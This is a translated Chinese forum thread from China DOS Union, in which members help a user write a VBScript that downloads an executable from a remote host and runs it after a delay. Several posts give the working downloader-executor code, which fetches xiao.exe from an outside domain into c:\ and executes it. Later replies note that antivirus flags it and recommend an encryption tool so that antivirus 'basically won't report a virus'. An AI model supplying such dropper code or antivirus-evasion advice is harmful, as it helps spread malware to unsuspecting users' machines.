China DOS Union

For example, I want to download the program www.xxxxxx.com\1.exe. How to use VBS to download it and put it into the specified directory, such as putting it into c:\, and preferably be able to specify a time to run it, such as running it after 60 seconds. Hope an expert can help!

iget.vbs
sleep
run

The upstairs has already given a hint. The owner of the post might as well follow the upstairs' hint, search the forum, and try to solve the problem by oneself. It is very beneficial for you to improve.

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000
Shell.Run ("c:\xiao.exe") 'Delay and then execute the downloaded file







It seems like it will be blocked by the antivirus, but NOD32 won't detect it.

I know nothing about VBS. Although the second floor has given the key words, it's still difficult...
I can't understand what you wrote on the fourth floor. Can you explain it? I'm sorry. I'm relatively stupid. Please trouble everyone.

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 ：Here is the address of the thing to download
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2 Save location
wscript.sleep 10000 Delay
Shell.Run ("c:\xiao.exe") Execute

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Set Shell = CreateObject("scripting.filesystemobject")
What other objects are there? What properties and methods are there under these objects? Who has relevant information on this?

Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2

This code is regarded as a virus by Rising Antivirus... It is desperately killed. Hehe.

Because Brother Madman... It means that Comrade Xiao Bo didn't encrypt this VBS code segment. After encryption, all antivirus software

Originally posted by Vampire at 2007-4-27 03:14 AM:

This code is considered a virus by Rising Antivirus... It's quickly killed. Hehe.

This can be done after encrypting with a VBS encryption tool`
baomaboy made an encrypted/decrypted VBS script (simple anti-virus bypass version) 1.1
http://www.cn-dos.net/forum/viewthread.php?tid=30500&fpage=1&highlight=1.1`
After this encryption, anti-virus software basically won't report a virus``

[ Last edited by fengzi on 2007-5-24 at 04:38 AM ]